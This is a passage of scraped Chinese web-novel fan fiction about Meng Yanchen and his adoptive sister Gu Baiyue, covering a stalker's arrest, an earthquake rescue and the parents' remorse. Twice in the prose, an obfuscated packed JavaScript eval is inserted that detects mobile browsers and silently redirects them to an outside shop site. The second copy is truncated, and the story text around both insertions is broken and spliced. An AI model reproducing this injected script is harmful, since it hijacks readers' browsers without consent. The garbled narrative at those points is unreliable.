从湾流酒吧离职后,叶子一直不死心,试图重新同孟宴臣建立联系,她在梧桐小区的秋千架守不到他,唯有在网上寻找只言片语,聊以慰藉,又不知出于什么心理,将她在湾流酒吧偷拍到的照片发出去,借以满足自己的虚荣心。 后来有一个中年男人找上叶子,问她手里那些照片怎么来的,跟孟宴臣是什么关系,又说只要豁得出去,他能帮叶子达成所愿,飞上枝头。 叶子本来有些犹豫。 直到那中年男人说:“以你的出身,连给国坤集团的孟总提鞋都不配,除非把他拉下神坛,到时候他就只能是你的。” 是啊,她想配得上孟宴臣,就只能孤注一掷,只可惜她失败了。 这些天叶子被警方通缉,不得不每天东躲西藏,连手机都不敢开机,靠着一点现金四处逃窜,她知道孟家人喜欢来月海居,就找到在这里做兼职的同学,好说歹说地蒙混进来…… 叶子从口袋里掏出厚厚一沓照片,癫狂地洒落出去,故意暧昧不清地说道:“孟总的身材很棒啊。” 一张照片落在脚边,顾白月下意识低头看,孟宴臣急忙去挡,有些狼狈地说:“不要看,皎皎。” 他知道自己跟叶子什么都没有发生,是叶子故意趁他昏迷,失去反抗能力,拍下一系列照片,混淆视听,他多怕皎皎误会,多怕她觉得他脏了。 顾白月安抚地冲孟宴臣笑,她脸上还带着方才哭泣留下的盈盈泪意,宛若梨花带雨,“哥哥别怕,这一次让我来保护你。” 她将照片捡起来,看也不看直接撕碎,然后直直逼问叶子:“是你对吗?就是你差点毁了我哥哥,让他濒临崩溃?” 叶子挑衅地笑。 “这么看来,你才是罪魁祸首,我脸上的巴掌印归根结底也全都是拜你所赐,现在我还给你……”顾白月深吸一口气,她从来没有这般憎恶一个人,运足力气狠狠甩了一掌,“我哥哥不打女人,——没关系,我打。” 孟宴臣(四十四) 这些被叶子摆拍出来,故意显露出亲昵暧昧姿态的照片,落在付闻樱眼中,她骇然质问:“孟宴臣!你到底都做了些什么?!” 顾白月解释:“妈妈,不要中了有心人的算计,是坏人给哥哥下药,不信您看这些照片,哥哥都是闭着眼睛的,明显陷入昏迷了。” 然而,付闻樱是古板正派的老式思想,仍旧不悦道:“即便如此,宴臣还是太过大意,之前你爸爸就告诫过你,谨防人心生变,你有没有想过,万一这些照片流传出去,别人不会深究背后的原因,你却会先一步身败名裂!” 这算什么,苍蝇不叮无缝的蛋? 顾白月感激孟家的养育之恩,从来没有顶撞过养父母,可是今天她固执得像一块顽石,“您为什么会这么想呢,妈妈,就因为叶子是女人,哥哥是男人,是世俗普遍观念中桃色新闻中的获益者,他就没有清白可言了吗?” 她坚定地挽着孟宴臣胳膊,用实际行动表明自己立场,很认真地同付闻樱辩解:“所以,妈妈究竟要责怪哥哥什么呢,怪他不够洁身自好?怪他防备心不足?如果这个社会沦落到不分青红皂白地训斥受害人的地步,那不如我们每个人都裹足在家,自生自灭好了!” 孟宴臣的眼睛悄然变红,涩声道:“皎皎……” 叶子情绪失控,冲着顾白月大喊大叫,字里行间满是怨妒:“你懂什么,你除了一张脸还有什么,凭什么得到他的偏爱?你知不知道我都为他做了什么?!” “闭嘴!我不知道也不想知道,谁会在意一只下水道里的老鼠在想什么?”顾白月看向叶子,“别跟我扯什么受害者有罪论,在我这里,哥哥永远无辜,施害者永远有罪!至于你为什么会生出种种猥琐下流的想法,不如去审讯室跟警察叔叔说,我觉得他们更有兴趣听你编故事。” 叶子畏缩:“你,你报警了?” 顾白月:“不然呢,你敢以身试法,就要做好自食恶果的准备。” 正在此时有四名警察推门而入,询问谁是报警人,顾白月举手,向警方说明情况,并提交了之前李平安发送给她的楼道监控。 事发之后,孟宴臣已经及时报案存据,警方确认过叶子的身份,直接将人带走,并且要求孟宴臣稍后过去做笔录。 事情发展到这一步,谁还有心情吃饭? 付闻樱意兴阑珊,只能对郑肖两家致歉,改天再约时间登门拜访,谁知孟宴臣又轻描淡写地扔下一枚重磅|炸弹,“我已经草拟好了一份解除收养关系的文件,请爸爸妈妈尽早签字,公开声明,从今以后,皎皎不再是我们家养女。” 孟怀瑾也曾年少轻狂过,深知男女情爱就如毒药一样,一旦沾染好似饮鸩止渴,让人欲罢不能,因此对付闻樱一直以来棒打鸳鸯的做法,一直持默认态度,只偶尔看她手段强硬,态度偏激时,才会居中调解几句。 只是今天晚上,局面一再失控,孟宴臣偏偏选择在所有人面前剖白心迹,决绝至此,未尝没有逼迫父母屈服,彻底斩断与郑家联姻的可能。 父子两人极为相像,都是清俊儒雅,风光霁月一般的人物,孟怀瑾身上多了些岁月积淀的成熟感,说话时不怒自威:“解除收养关系不是小事,还要惊动老家那边,修改族谱,不急于这一时三刻。” 孟宴臣缓缓勾起唇角一笑,金丝眼镜下的眸子隐隐疯狂,“我已经说服三叔公修改过族谱,爸爸妈妈无需担心。” 付闻樱气梗:“你什么时候变得这么自以为是?” 孟宴臣看似异常冷静,说出来的话却足够惊世骇俗,“爸爸妈妈如果不愿意签字的话,就请到监狱探望我吧。” 心头涌上一股不祥的预感,付闻樱望了望顾白月,又瞧了瞧孟宴臣,抖着嗓音问:“你什么意思?” “您知道我为什么过年时不愿意系红色领带吗?”孟宴臣惨然一笑,语气里透着满满嘲讽,“因为我罪该万死!我强女干了自己法律上的妹妹!那天晚上皎皎过来照顾我,我将她摁在床上,皎皎想挣扎,我就用红色领带缚住了她的手,——等会我去警局配合调查,他们一定会询问当天晚上的事,我必如实自首,如果您还是不同意解除收养关系,就让法院审判我的罪孽吧!” 顾白月吓坏了,仓皇拦他,哭得泪如雨下:“不!哥哥你不要胡说,我是自愿的,我们两情相许,何来强迫一说?只要我不是孟贺卿,不是孟宴臣妹妹,我们做情侣做恋人,你是不是就不用坐牢了?” 孟怀瑾忍了又忍,终究还是突破心理承受极限,咬牙切齿地摔了杯子:“你这个畜生!” …… 第二天一早,孟怀瑾和付闻樱签署文件,请律师办妥了解除收养关系的手续,以后孟家再无三小姐。 既然不再是孟家养女,顾白月自然没有理由厚着脸皮住下去,将孟家这些年陆陆续续给她买的奢侈品一一整理好,妥善地放置在衣帽间,只收拾了一些个人物品,勉强能装满一个行李箱。 孟怀瑾有事外出不在家,付闻樱待在卧室,连早饭都没吃,想来是不愿意面对顾白月。 “妈妈……不,付阿姨……” 顾白月隔着门板唤她,十年前生母季如兰刚刚过世,她被孟家收养时,一开始也改不了口,每回见到养父母都觉得尴尬别扭。 没想到一晃十年过去,当她没了腻腻歪歪撒娇着喊付闻樱妈妈的权利,心里竟然刀割一般疼。 就像一颗被硬生生拔掉的钉子,到底还是留下疮疤,养女跟亲生儿子走在一起,换谁都会生出隔阂的吧? 付闻樱这般置若罔闻,坚持不开门,也好,否则顾白月也觉得没有颜面见她,她最后一次以女儿的名义,软软糯糯地劝付闻樱:“您有一点低血糖,不吃早饭可不行,要是实在没有胃口,多少喝点粥吧……” 顾白月掏出一张银|行|卡,从门缝下面塞进去,“孟家在我身上少说也花了几千万了,这是我去年一年攒下的片酬和代言费,密码是阿姨您的生日,知道孟叔叔和付阿姨看不上我这点钱,就当是孝敬两位长辈了,剩下的钱我会慢慢还的。” 她说完等了一会儿,付闻樱毫无反应。 顾白月不由心情失落,提着行李箱下了楼,付泽生在客厅等着,见状叹了一口气,心里颇不是滋味:“真要走啊?” 顾白月点点头。 付泽生摸摸鼻子,“早知道我就不来这边过年了,好像一不小心就给大哥和你造成了困扰,不过,我也该回海市了。” 事已至此,付泽生也清楚自己与顾白月再无希望,与其留在这里黯然神伤,不如回去继续工作。 顾白月开解付泽生:“这跟你没关系,说起来把你们牵扯进来,我跟哥哥才该说抱歉。” 付泽生问:“那你接下来去哪里?” 顾白月微笑,“我年前接了一部戏,马上就要开机了,取景地在南方一座影视城,干脆提前过去熟悉一下环境。” 正说着孟宴臣从警局忙完回来,他接过顾白月的行李箱,“走吧,我送你去机场。” 路上,顾白月问孟宴臣,“警方那边怎么说?” 孟宴臣语气冷然道:“叶子非法跟踪他人,窥探隐私,强制猥亵,散播谣言等,依法可以判处五年以上八年以下有期徒刑。放心,我请了最好的律师团队,会尽可能地争取加大量刑,那些背后指使她,出谋划策之人,一个也跑不掉。” 总算出了一口恶气,顾白月道:“那真是太好啦。” 很快就到了机场,时间还早,花姐和小助理还在路上,两人坐在车里等待,孟宴臣犹豫再三,侧首深深凝望顾白月:“皎皎,你会恨我吗?” “当然不会。” 顾白月甚至都不问他具体指什么事,只是细细安抚孟宴臣慌乱的心,“虽然皎皎可能会是一个很笨拙的学生,虽然我对你的爱,可能一辈子也没办法和哥哥的爱相提并论,但我会认真去学,哥哥,给我一点时间好吗?” 皎皎不排斥他的爱,不厌恶他的接触,愿意给他一线生机,孟宴臣自觉已经三生有幸了。 “好。” “哥哥真乖。” 顾白月解开安全带,从副驾驶上跪坐着支起身子,蜻蜓点水般在孟宴臣嘴角落下一个吻,比一片羽毛还要轻柔,弯着明月般灿烂的眸子,笑盈盈地说:“喏,这是奖励。” 这一刻,孟宴臣眉梢眼角所有冰雪,尽皆消融。 女孩笑意狡黠,在孟宴臣耳边轻轻说道:“哥哥,你常说爱屋及乌,那么,如果你热爱着我热爱的一切,就请帮我照顾好我的哥哥,让他四时三餐,添衣加饭,——哥哥是皎皎最最重要的宝物了。” 孟宴臣热泪盈眶:“好。” 日月长相望,宛转不离心。 见君行坐处,一似火烧身。 …… 付闻樱浑浑噩噩过了几天,心情缓缓平复时,皎皎已经去了南方影视城拍戏,付泽生回了海市管理春上春,孟宴臣也在皎皎离开的当天搬回泰和公寓。 趁着家里一团乱,大家都分|身乏术,许沁又溜了出去,至于她究竟是回了玫瑰苑,还是又去找宋焰,那就不得而知了。 孟怀瑾和付闻樱也渐渐冷了心肠,不愿意再管许沁,随她去吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9462025|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孩子们都不在,到处冷冷清清的,对比过年时一家团圆,和和美美地尽享天伦之乐,简直让人无所适从。 皎皎一走,孟宴臣的心也被带走了,整日除了兢兢业业地上班,就是按时按点,一丝不苟地吃饭,睡觉,锻炼身体。 他很认真很认真地执行对皎皎的承诺,一点都不敢懈怠,每天最快乐的事就是翻看皎皎发来的消息,关注她社交平台分享的动态。 顾白月好像生来就有一种异能,天然地知道该怎么亲近他,总是隔三差五寄来一些小礼物。 这些礼物五花八门,最贵重的也不过才几十块钱,但孟宴臣真是爱极了,每一次都视若奇珍。 有时候是南方特产的茶叶饼,墨香折扇,有时候是一块精巧的雕花砚台,一枚漂亮的干花书签,甚至是一块随手捡到的,丑萌丑萌的石头。 皎皎不在的日子,孟宴臣就是靠着这些东西,渡过一个又一个漫漫长夜,历历数着雨滴落地的声音。 做母亲的,似乎永远都拗不过孩子们,付闻樱待在空空荡荡的家,触目所及,到处都是皎皎生活过的痕迹。 她的心不可避免地一点点软化…… 至于宴臣呢,付闻樱若是喊他回来,他便老老实实回家吃饭,她若是不喊呢,他就一个人孤孤单单守在公寓里,仿佛也能自得其乐。 他重新回归成那个斯文清雅,举止端方稳重的贵公子孟宴臣,只是望向付闻樱的目光,平平淡淡,礼貌恭敬,没有怨怼,也没有期盼,只剩疏离…… 有一次,母子两人在商业晚会上遇见,孟宴臣竟然客客气气地喊她:“付董。” 付闻樱心如刀绞:“你叫我什么?我辛辛苦苦为你做了那么多,你要这么对我吗?” 孟宴臣安安静静地垂眸看向玻璃杯里的酒水,笑意淡淡:“我知道您很爱我,可是,我似乎已经感受不到这种爱了。” 这是她十月怀胎,一朝分娩,躺在产房九死一生才换回来的儿子啊,付闻樱哽咽:“你不要妈妈了吗?” 孟宴臣的视线落在地上,微不可闻地说:“让您难过,我很抱歉,但是如果可以,我真希望您从来不是我的妈妈……” 没有什么比来自亲生孩子的否定,更能摧毁一个母亲的骄傲。 付闻樱面色发白,幽魂一样飘回了家,孟怀瑾猜到事情经过,“要不我们就答应他的请求,公开说明皎皎不是我们家养女,是宴臣未来的妻子。” 解除收养关系的手续虽然已经办完,但这件事目前只有自家人知道,还未对外声明。 付闻樱迟疑:“养女变成儿媳妇,人家会怎么看我们孟家,怎么看国坤集团,宴臣和皎皎的名声也就彻底坏了,他们以后还怎么做人?” 孟怀瑾叹气:“你是要好名声,还是要你儿子的命?” 他知道付闻樱是太过强势,习惯了掌控一切,一旦有事情脱离了她的预期,付闻樱就会格外难以接受,但作为一家之主,他不能眼睁睁看着这个家四分五裂,坐视不理。 孟怀瑾感慨:“阿樱,你还记得我们当初为什么那么废寝忘食,累死累活地拼事业吗?——为了给孩子创造一个优渥的成长环境,让他能够衣食无忧,不被金钱牵累。” “倘若我们现在为了国坤,逼迫宴臣妥协,不就本末倒置了吗?” 付闻樱恍然失神,惊愕到久久不语。 这天上午,付闻樱正坐在客厅看书,冷不丁瞥见几个工人进了花园,吵吵闹闹地商量着什么。 她找来管家询问:“外边怎么了?” 管家:“哦,是皎皎小姐……啊,不是,是顾白月女士,之前瞒着您悄悄订了几株樱桃树,说是买来给太太做生日礼物。那些樱桃树我都看过了,都是精挑细选出来的好品种,沿着墙根种下,今年就能赏花,明年就能吃上果子。” 付闻樱沉默,摆摆手让管家下去。 五个月过去,《明月曾经照古人》在南方影视城的戏份结束,要转战到燕城市望乡村的山区拍外景。 无论如何,皎皎快要回来了。 付闻樱一叠声吩咐厨娘和甜点师:“多买点海鲜,皎皎喜欢。哦,再做一些蓝莓蛋糕和草莓布丁,材料都挑最好的,奶油选热量低,吃了不容易发胖的,还有车厘子,要新鲜空运过来的……” “嗳,您就放心吧!” 莫阿姨和甜点师脆生生应下来。 这死气沉沉的家,好像一瞬间活了过来,直到噩耗传来: 燕城市望乡村发生6.5级地震,《明月》剧组损失惨重,皎皎被困,至今下落不明…… 孟宴臣(四十五) 顾白月在外辗转拍戏五个月,人都累瘦了一大圈,好不容易能够回燕城,还要先去望乡村补拍外景。 都说一日不见如隔三秋,孟宴臣思念成疾,得知消息后就想来探班。 顾白月发了一张可爱的卡通图,笑眯眯地告诉他望乡村这里地方偏僻,道路难行,况且又不是周末,孟宴臣白天还要上班,她舍不得哥哥辛苦奔波。 皎皎发语音哄他:“哥哥照顾好小妖怪,照顾好自己,我过两天就回来了哦。” 孟宴臣答应了,他守着满满一整面墙的蝴蝶,等着最美丽的那一只,主动飞回来。 ——然而,上天给孟宴臣开了一个残忍的玩笑。 一阵剧烈的震颤感袭来,惊动会议室里所有国坤集团的高层领导,短短几秒钟过后,大地恢复平静,人人面面相觑。 姚莫北惊慌失措地冲进来,语无伦次地说:“孟总,望乡村……地震,6.5级,皎皎,皎皎不见了……” 心脏被一只隐形的巨手狠狠攥住,孟宴臣面色煞白,语调却一如既往地冷静:“通知各部门有序疏散,转移到楼下开阔地带,防止二次余震;安保部,紧急核查所有人员安全;人事部统计祖籍在望乡村的员工名单,提供资金援助……” 没事的,皎皎一定会没事的…… 孟宴臣极力维持镇定,有条不紊地一项项安排下去,指挥若定,在保障员工安全的同时,主动联络政府部门,第一时间筹集物资,捐钱捐物,甚至征集了一批体力出众的志愿者,协助抢险救灾。 越是这种时候,越不能自乱阵脚,国坤作为五百强企业,必须有自己的担当,而他作为总裁,绝不能临阵脱逃。 孟宴臣看起来太沉稳自信了,气势凛凛,渊渟岳峙,无形中安抚住众人,成为一股强大的精神支柱,唯有距离最近的姚莫北知道,孟宴臣的手一直在颤抖。 等到一切处理妥当,孟宴臣抬头看了看快速靠近的私人飞机,满目祈求地望向孟怀瑾道:“爸爸,对于国坤,我已经做到了自己能够做到的一切,接下来,请让我去履行一个丈夫的责任吧。” 地震摧毁了绝大部分建筑,原先的高楼大厦,成为横亘在道路上的一条条险渠,地面交通濒临瘫痪,正在全力抢修。 孟宴臣已经耽误了太多时间,他等不及了,干脆借来了王勉的私人飞机,带着一批食物和水,从空中赶赴过去,途中若是看到人群,就投下一些物资。 一方有难八方支援,他们来到震源区时,远远就看到一队队武警干事,消防员,医护人员等,紧锣密鼓地展开救援工作,还有许多民间自发组织的志愿者队伍。 国坤集团的员工人数庞大,其中有一部分是退役军人,孟宴臣带着几个自愿报名的热心人士,在同救援指挥领导沟通后,马不停蹄地投入工作。 无奈这里依山而建,地势复杂,他们从天亮一直挖到天黑,救出了几十名受困群众,但那些钢筋铁板下面,还掩埋着更多人…… 精神紧绷,再加上这么高强度的体力劳作,铁打的身子也扛不住,到了凌晨左右,救援总指挥强制要求所有人就地休息,补充食物。 蒋裕在燕城十里台担任消防指导员,这次救援他也来了,听说顾白月还困在楼里没出来,就私下安慰孟宴臣:“我今天白天已经分析过情况了,皎皎和剧组里的其他人,当时一起出来参加采访活动,震发时应该在舞台附近,靠近安全通道,那里加固过,皎皎幸存的几率很大……” 可孟宴臣的心仍旧在滴血,只要没有亲眼看到皎皎,没有确认她毫发无损,他就一刻闭不上眼。 蒋裕拍拍他的肩膀,想到了什么,十分气愤地说:“看到没,安全通道出口就在那儿,要是我的探路机器人在就好了,可以进去确认皎皎具体在哪,加快救援进度。妈的!都是一个叫宋焰的臭傻逼,我上次演讲讨论高科技在救援现场的应用,他非跟我杠,说机器都是冷冰冰的东西,而人可以随意加大训练强度,被他一通胡搅蛮缠,本来十八|九稳的项目也黄了,领导驳回了我引进机器人的申请……” 正说着一个大约一米七,身体硬挺挺直邦邦的男人,杵着脖子走过来,作秀意味十足地冲大家喊:“退后!都退后!离这些非正规救援人士远一点,让我来保护你们!” 马上就要睡着的大家:不是,这人谁啊,他有病吧? 又是宋焰,还真是阴魂不散…… 孟宴臣一把捏扁矿泉水瓶,隔空抛掷进临时收纳食物包装的废纸箱里,眉眼森然,“垃圾!” 夜深人静,孟宴臣定定地看向安全通道黑黢黢的出口,皎皎的命很珍贵,别人的也是,他没有权利要求别人为了救皎皎冒险,但他自己可以。 与此同时,忧急如焚的付闻樱收到一条短信: 妈妈,我去找皎皎了,如果皎皎遭遇不幸,请您将我和她合葬,埋在西山公墓季阿姨身旁,妈妈,抱歉…… 付闻樱瞬间崩溃,时隔几个月,他再次唤她妈妈,竟然是请求她帮忙收尸…… 这让一个母亲情何以堪。 …… 顾白月被困在楼梯拐角处。 地震发生时,她想从安全通道离开,但一截石灰板砸了下来,眼看就要落在林惠清身上。 “小心!” 顾白月轻轻推开林惠清,石灰板压在顾白月左腿上,她顿时动弹不得,而林惠清也没了力气,捂着肚子大口喘气,恐惧地喊:“皎皎,我肚子疼……” 林惠清是一位青年画家,别号“林下清风”,顾白月之前一直很欣赏她清新细腻的笔触,还曾买下一副作品,挂在卧室里。 正应了那句无巧不成书,顾白月来望乡村拍戏时,意外邂逅了在此处采风的林惠清,并且认出对方,两人一见如故,聊得很是投机。 林惠清性情柔和,说话总是慢条斯理,一股江南水乡的温婉秀气,莫名让人联想到同是南方人的季如兰,顾白月对她很有好感。 这天顾白月来参加节目,林惠清说自己闲着也是闲着,想到现场看一看凑热闹,顺便活动一下身子,她怀孕八个多月了,医生要求每天适当走动,将来生产时可以少吃点苦头。 活动还未正式开始,两人站在舞台侧边说话,顾白月见林惠清有点口渴,递了一瓶水过去。 林惠清的丈夫名叫乌刑,生得高大魁梧,一身腱子肉,气势非常强盛,浑身上下写满不好惹三个字,但对待林惠清却事无巨细,关怀备至。 他拦下那瓶水:“车上有特意调制的药茶,稍等,我去拿。” 只怕乌刑也没想到,这一去险些阴阳两隔,他身怀六甲的妻子,无助地蜷缩在角落,体温一点点下降。 “惠清姐,惠清姐……” 两人之间隔着石板和楼梯栏杆,顾白月隐隐察觉林惠清状态不对,一声又一声地唤她,“惠清姐你快醒一醒,千万别睡!” 这时候睡着很可能就再也醒不过来了。 顾白月一边敲击栏杆,一边试图跟林惠清对话,激发她求生本能:“别睡啊,千万别睡,惠清姐你不是说要参加比赛,把画展开遍全国吗?还有你那副最爱的《夜梦》还没画完呢!哦,对,还有你的宝宝,你不想看看宝宝长什么样,不想陪着宝宝平平安安长大吗?!” 通讯信号中断,手机只能发挥一点照明的价值,顾白月眼见着林惠清脸色一点点灰败下去,急得手足无措,她想爬过去看一看,稍微一动,左腿就传来专心刺骨的疼。 时间一分一秒流逝,林惠清那边渐渐安静下来,手机也没电了,顾白月浸泡在一片绝望之中,突然无比庆幸。 幸好,幸好哥哥好好地待在家里,幸好他没有来…… 正在这时,远处忽然响起一阵窸窸窣窣声,顾白月黯然地想:是……老鼠吗?老鼠要来啃我的尸体了吗? 沉甸甸的黑暗中,有人夜猫一般爬了过来,缓缓地,轻轻地,每一步都小心翼翼,每一步都坚定无比。 他在暗夜中试探着小声地喊:“皎皎……” 怕声波引发震落,连大声呼喊都是奢望,孟宴臣穿着黑底红边的冲锋衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾白月惊呆了:“许沁!宋焰!你们疯了吗?!发现受困人员不是应该第一时间转移到安全地带吗?而且惠清姐刚才还抽动了一下,你就这么敷衍地听一听,就能判定一个人死亡了?万一出错了呢?你们能不能不要这么视人命如儿戏?!” 许沁傲然:“我是不可能诊错的。” 顾白月气愤:“你一个实习生有独立行医的资格吗?凭什么说这话?” 许沁举起右手:“就凭我这只手。” 顾白月气得两眼一黑,焦急地祈求孟宴臣:“哥哥,你救一救惠清姐,这种地方做剖腹产,搞不好会一尸两命的!” 孟宴臣一口应下:“好。” 手术刀寒光闪闪,落在顾白月眼里看得她一阵心惊肉跳,孟宴臣过去阻拦:“许沁,非法行医,你这是在犯罪你知道吗?” 许沁冷笑:“哥哥,在你眼里,是不是我做什么都不对?那我偏要证明给你看!”她掀开林惠清的衣服,手术刀抵在高高鼓起的肚皮上,眼看着就要刺进去。 “住手。”孟宴臣想过去夺刀,若是平时,论单打独斗,十个宋焰也未必是孟宴臣对手,奈何孟宴臣方才从安全通道爬进来时不慎受伤,体力不支。 宋焰一阵胡搅蛮缠,他嫉恨地仰头瞧了瞧孟宴臣修长劲挺的个子,趁其不备,暗中偷袭,一把将人推落在地。 “唔……” 孟宴臣头部磕在尖锐凸起的石角,鲜血缓缓流淌下来,不甘地陷入昏迷。 “哥哥?哥哥!” 顾白月哭到哽咽,拽着左腿使劲挣了挣,直挣到血肉模糊也出不来,只好捡起石块和碎砖,恶狠狠地砸向宋焰高高翘起的大屁股,“别碰我哥哥,宋焰,我要杀了你,我要杀了你!” 突然,许沁被人一脚踹飞,狠狠砸在墙上,手术刀收势不及,深深扎进自己小腹,大口大口吐出鲜血。 乌刑手里握着一根钢棍,杀气腾腾地闯了进来,死死盯着许沁和宋焰:“就是你们,要剖我老婆肚子?” 与此同时,肖亦骁赵又司和韩廷蒋裕等人也前后跳下来,顾白月一见他们,像找到家人的小孩子,再也控制不住情绪,委屈地放声哭喊:“骁骁,又司哥,宋焰伤了哥哥,帮我打他,我要打死他……” 打死自然是气话,但肖亦骁一看顾白月和孟宴臣破破烂烂,浑身鲜血淋漓的狼狈样子,立刻红了眼睛。 几人合力,三两下就将宋焰擒住,掐着脖子摁到顾白月面前,硬生生喂他一嘴泥,“来,皎皎,怎么解气怎么打,出了事我们扛着……” 孟宴臣(四十六) 望乡村发生地震,皎皎下落不明的消息传来时,付闻樱第一反应就是跑去国坤找孟宴臣,但她还是晚了一步,彼时孟宴臣已经乘坐私人飞机,去往震源所在地。 肖亦骁和韩廷等人筹钱筹物,带上赵又司以及一大批急救药物,急匆匆地搭载第二架私人飞机,前去支援。 付闻樱情绪崩溃,抛下一切端庄仪态,疯子一般不顾一切地冲过去,要求一同前往。 “阿樱!” 孟怀瑾将人拦住,死死攥住她瘦弱的肩膀:“你冷静一点!” 付闻樱哭到哽咽:“你要我怎么冷静?我的一双儿女都在那里,生死未卜!我怎么敢冷静?!让我去,我要带他们回家……” 孟怀瑾又怎能不心痛,但他是一家之主,是国坤掌舵人,在付闻樱摇摇欲坠时,他必须成为支柱,不得不强硬地提醒她:“阿樱!我们老胳膊老腿儿,去了能做什么?不要给孩子们添乱!更不要给国家添乱!” “我做了一个噩梦,我好害怕啊……”付闻樱双腿发软,倒在丈夫怀里潸然泪下,喃喃道:“是我错了,我不该逼他们的,只要孩子们平平安安回来,我什么都答应。” 总是高高在上,习惯了掌控全局的付闻樱,第一次品尝到后悔的滋味,代价却是如此苦涩。 肖亦骁几人也不禁悄悄红了眼圈,郑重地跟孟怀瑾付闻樱承诺,“叔叔阿姨放心,我们一定把老孟和皎皎全须全尾的带回来!” 付闻樱只是太过惊慌失措,等她明白自己没办法去前方参与救援,就退而求其次,在孟怀瑾的鼓励下,竭尽全力保持镇定。 归功于女人天性心细,考虑事情面面俱到,付闻樱派人去采购了一大批衣物和卫生用品,无偿捐献给灾区。 春上春驻扎在燕城的分公司,也第一时间将官网宣传页面换成黑白色,旗下所有彩衣华服一夜下架,赠予慈善晚会做拍卖,拍卖所得全部用以灾后重建。 做完这一切,付闻樱木然流泪:“我还能为我的孩子们做些什么?” 孟怀瑾握着她的手,默然片刻,“等待。” 然而付闻樱心急如焚,她等不了,更睡不着,躺在床上辗转反侧,每一分每一秒都是煎熬。 孟怀瑾叹气:“如果实在睡不着,我们去爬山吧。” 深更半夜,两人穿着运动服,迎着山林雾气,一步步踩在落叶枯枝上,身上不知不觉就被露水浸透了。 两千七百二十三层台阶,他们相携着,慢慢走过,似乎每一步都能看到新春时节,宴臣沉默如渊的样子,还有皎皎站在一旁,巧笑倩兮地哄他。 这个时间点,普济寺自然是闭门谢客的,想来严一法师他们都已酣然入梦。 孟怀瑾:“我去拍门吧。” 付闻樱摇头:“算了,别扰人清梦,——心诚不必见佛。” 她在紧闭的山门外跪下,那一向高昂的头颅,深深低垂下来,虔诚地叩拜。 毕竟是上了年纪的人,露夜前来,两人累得气喘吁吁,坐了好一会儿,才相互搀扶着下去。 大概是爬山消耗了太多体力,等到回家之后,原本食不知味,睡不安枕的两人,一闭上眼就沉沉睡了过去,还做起了梦。 是一段很长很长的梦,长得如同真实发生过的一样,梦里没有季如兰,更没有顾白月,就像一串被设定好的程序,到了某个关键点,他们领养许沁,一心一意教导她。 但在许沁眼里,养父母赋予的一切是牢笼,是枷锁,是驯兽师挥舞的小鞭子,她满腹怨怼,冲着亲人的背影冷眼相向。 为了报复,她故意接近宴臣,言语诱导,精神控制,一日日潜移默化,蚕食鲸吞,打着同病相怜的名义,一点点将他驯化。 然后呢? 然后她忽冷忽热,若远若近,将宴臣的感情玩弄于股掌之中,得意地看着他越来越漠然,越来越抑郁,在道德的污淖里泥足深陷,渐渐窒息…… 那么清贵冷艳,高不可攀的养母,若是知道她唯一的儿子,成为养女脚下的一条狗,表情一定会很有趣吧? 看,多刺激啊。 原来孟家的权威也不是不可挑战啊,不过如此。许沁开始肆无忌惮地抽烟,喝酒,出入网吧酒吧,极尽放纵地与宋焰彻夜纠缠。 一碗白粥当然比不上孟家的泼天富贵,但它可以成为刺伤付闻樱的一把刀啊,许沁住着养父提供的房子,穿着养母买的高定套装,开着哥哥送的车,却口口声声态度坚决地与孟家决裂。 多么有恃无恐啊,因为许沁知道无论如何堕落,永远都会有人兜底,孟家绝对不可能不管她,即便养父母能狠得下心袖手旁观,孟宴臣也不会。 她故意混淆亲情和爱情,模糊两者界限,慢慢用爱将孟宴臣绑架,看着他痛苦,她竟然觉得非常快慰。 再后来,她抱着灭火器,在地下车库四处喷洒,为了宋焰一再顶撞养父母,津津有味地啃他吃剩下的鸡骨头,当着养父母和孟宴臣的面摔了全家福…… 付闻樱泪流满面,她眼睁睁看着儿子日渐消沉,却无能为力,他整夜整夜失眠,久久在阳台徘徊,甚至因为一时善心,被别有居心的女人讹上,诬陷他强女干。 宋焰和许沁明明手握证据,知道宴臣清清白白,却趁机落井下石,逼迫付闻樱下跪道歉,才肯拿出来救她儿子。 为什么会这样? 没有调查,不经举证,只凭贱人空口白牙几句话,宴臣竟然就被关了起来,完全不给他辩解机会,一个下属子公司消防器材出了问题,身为董事长的怀瑾要被带走调查…… 所有人都像被降智了一样,宋焰和许沁说什么,大家就信什么,仿佛所有人所有事都要为他们服务,哪怕宋焰违反救援准则,严重渎职,许沁无证行医,生剖孕妇,他们也视而不见,甚至站在废墟上欢呼…… 何其可笑!何其荒诞! 终于,宋焰和许沁结婚后,宴臣不堪忍受这一切,他去了国外定居,不知是有心还是无意,不久之后就传来噩耗,宴臣葬身火海…… 她那么优秀,那么好看的孩子啊,竟然被活生生烧成一截木炭! 付闻樱和孟怀瑾心痛如死,一夜白头。 趁着付闻樱和孟怀瑾悲痛欲绝,许沁和宋焰登堂入室,嘴上说着孝敬养父母,实际如饿狼一般,伺机侵吞家产,见两人不愿签署资产转让书,还利用宋知许打感情牌,企图慢慢软化他们的意志。 原来他们打的是这个主意。 孟怀瑾和付闻樱岂会让他们如愿,他们将钱财一笔笔捐献出去,用以救助重病儿童,资助贫困山区孩子读书,唯有一点要求,就是受捐人必须经受考验,品德过关。 付闻樱不信全天下的孤儿都是白眼狼。 最后的最后,许沁狗急跳墙,利用职务之便,从医院偷出违禁药品,神不知鬼不觉地投放在他们食物中,想要结果了他们。 占遗产,吃绝户…… 真是好狠的算计。 多亏了宋知许那个浅薄轻狂的小白眼狼,一脸嚣张地跟邻居吹牛,“爸爸妈妈说了,等到那两个老家伙被毒死,这一套大房子就是我的了!” 付闻樱:“动手吧,这个家里没有人无辜。”她和他也是。 